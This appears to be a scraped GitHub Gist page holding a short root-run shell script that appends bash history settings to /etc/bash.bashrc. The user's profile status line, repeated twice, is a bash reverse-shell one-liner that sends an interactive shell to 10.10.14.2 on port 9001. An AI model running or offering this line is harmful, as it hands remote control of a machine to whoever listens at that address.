Skip to content

Instantly share code, notes, and snippets.

View thomaslaurenson's full-sized avatar
⚠️
bash -i >& /dev/tcp/10.10.14.2/9001 0>&1

Thomas Laurenson thomaslaurenson

⚠️
bash -i >& /dev/tcp/10.10.14.2/9001 0>&1
View GitHub Profile
# Custom history configuration
# Run script using:
# chmod u+x better_history.sh
# sudo su
# ./better_history.sh
echo ">>> Starting"
echo ">>> Loading configuration into /etc/bash.bashrc"
echo "HISTTIMEFORMAT='%F %T '" >> /etc/bash.bashrc
echo 'HISTFILESIZE=-1' >> /etc/bash.bashrc